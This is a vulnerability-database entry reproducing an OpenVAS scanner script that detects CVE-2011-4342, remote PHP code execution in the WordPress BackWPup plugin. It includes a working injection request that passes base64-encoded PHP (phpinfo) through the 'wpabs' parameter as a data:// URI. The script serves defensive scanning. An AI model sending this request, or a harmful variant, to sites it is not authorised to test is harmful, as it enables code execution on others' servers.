Lucene search

K
openvasCopyright (C) 2011 Greenbone Networks GmbHOPENVAS:1361412562310900277
HistoryApr 01, 2011 - 12:00 a.m.

WordPress BackWPup Plugin 'wpabs' Parameter Remote PHP Code Execution Vulnerability

2011-04-0100:00:00
Copyright (C) 2011 Greenbone Networks GmbH
plugins.openvas.org
11

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.231 Low

EPSS

Percentile

96.6%

WordPress BackWPup Plugin is prone to remote PHP code execution vulnerability.

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900277");
  script_version("2023-03-01T10:20:04+0000");
  script_tag(name:"last_modification", value:"2023-03-01 10:20:04 +0000 (Wed, 01 Mar 2023)");
  script_tag(name:"creation_date", value:"2011-04-01 15:39:52 +0200 (Fri, 01 Apr 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2011-4342");
  script_name("WordPress BackWPup Plugin 'wpabs' Parameter Remote PHP Code Execution Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17056/");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Mar/328");
  script_xref(name:"URL", value:"http://www.senseofsecurity.com.au/advisories/SOS-11-003");

  script_tag(name:"impact", value:"Successful exploitation will let remote attackers to execute malicious
  PHP code to in the context of an affected site.");

  script_tag(name:"affected", value:"BackWPup WordPress plugin version 1.6.1, Other versions may also be affected.");

  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied input to the
  'wpabs' parameter in 'wp-content/plugins/backwpup/app/wp_xml_export.php',
  which allows attackers to execute arbitrary PHP code in the context of an affected site.

  NOTE : Exploit will only work properly with the following PHP settings:

  register_globals=On, allow_url_include=On and magic_quotes_gpc=Off");

  script_tag(name:"summary", value:"WordPress BackWPup Plugin is prone to remote PHP code execution vulnerability.");

  script_tag(name:"solution", value:"Upgrade BackWPup WordPress plugin to 1.7.1 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/backwpup/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

## Path of Vulnerable Page with phpinfo() function in base64 encoded format
url = dir + '/wp-content/plugins/backwpup/app/wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==';

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

if(">phpinfo()<" >< res && ">System <" >< res && ">Configuration<" >< res && ">PHP Core<" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.231 Low

EPSS

Percentile

96.6%

Related for OPENVAS:1361412562310900277